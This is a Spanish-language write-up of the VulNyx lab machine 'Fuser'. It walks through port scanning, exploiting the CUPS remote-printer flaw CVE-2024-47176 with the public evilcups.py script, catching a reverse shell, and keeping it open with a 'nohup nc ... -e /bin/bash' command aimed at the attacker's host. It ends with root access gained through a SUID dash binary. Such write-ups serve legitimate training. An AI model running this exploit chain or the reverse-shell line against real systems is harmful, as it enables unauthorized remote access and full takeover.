VulNyx - Fuser

logo

  • CUPS (CVE-2024-47176) - (evilcups.py)
  • Abusing Dash Binary - (Sudo/Privesc)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.22

PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 64
80/tcp  open  http    syn-ack ttl 64
631/tcp open  ipp     syn-ack ttl 64

Escaneo de servicios

❯ nmap -sVC -p 22,80,631 172.0.100.22

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp  open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Site doesn't have a title (text/html).
631/tcp open  ipp     CUPS 2.3
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Inicio - CUPS 2.3.3op2
|_http-server-header: CUPS/2.3 IPP/2.1

HTTP - TCP 80

http

CUPS - TCP 631

cups

En la pestaña Impresoras, hay una impresora instalada:

impresoras

La página de la impresora muestra las opciones para administrarla:

konika

El 26 de septiembre de 2024, un investigador conocido como evilsocket publicó una investigación sobre vulnerabilidades en CUPS. En ella, se incluyen cuatro CVE y se explica cómo, al combinar estas vulnerabilidades, es posible añadir una impresora maliciosa a un sistema de forma remota.

Con git clono el repositorio evilcups.

❯ git clone https://github.com/IppSec/evil-cups.git

Instalo las dependencias y ejecuto el exploit para comprobar que funciona correctamente.

❯ python3 evilcups.py
python3 evilcups.py <LOCAL_HOST> <TARGET_HOST> <COMMAND>

Vuelvo a ejecutar el exploit con los parámetros que solicita.

evilcups

En la pestaña de impresoras me aparece una nueva impresora.

impresoras_hacked

Accedo a la página de la nueva impresora.

impresoras_hacked2

Hago clic en el desplegable y, seguidamente, en ‘Imprimir página de prueba’.

impresoras_hacked3

En unos segundos obtengo la shell.

❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [172.0.100.25] from (UNKNOWN) [172.0.100.30] 50294
bash: no se puede establecer el grupo de proceso de terminal (569): Función ioctl no apropiada para el dispositivo
bash: no hay control de trabajos en este shell
lp@fuser:/$ id
uid=7(lp) gid=7(lp) grupos=7(lp)
lp@fuser:/$ 

Una vez tengo acceso al sistema, al cabo de unos minutos la shell se cerrará. Para evitarlo, lanzo un netcat con nohup para mantener otra shell.

lp@fuser:/$ nohup nc 172.0.100.25 1337 -e /bin/bash

Después de obtener la shell, realizo una búsqueda de binarios con permisos SUID.

lp@fuser:/$ find / -perm -4000 2>/dev/null

/usr/bin/dash
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/newgrp

Con la herramienta gtfobins_cli, busco la información sobre el binario dash con permisos SUID.

suid_dash_gtfobins

Obtengo acceso root de la siguiente forma:

lp@fuser:/$ /usr/bin/dash -p
# id
uid=7(lp) gid=7(lp) euid=0(root) grupos=7(lp)

Y aquí termina la máquina Fuser.

Saludos!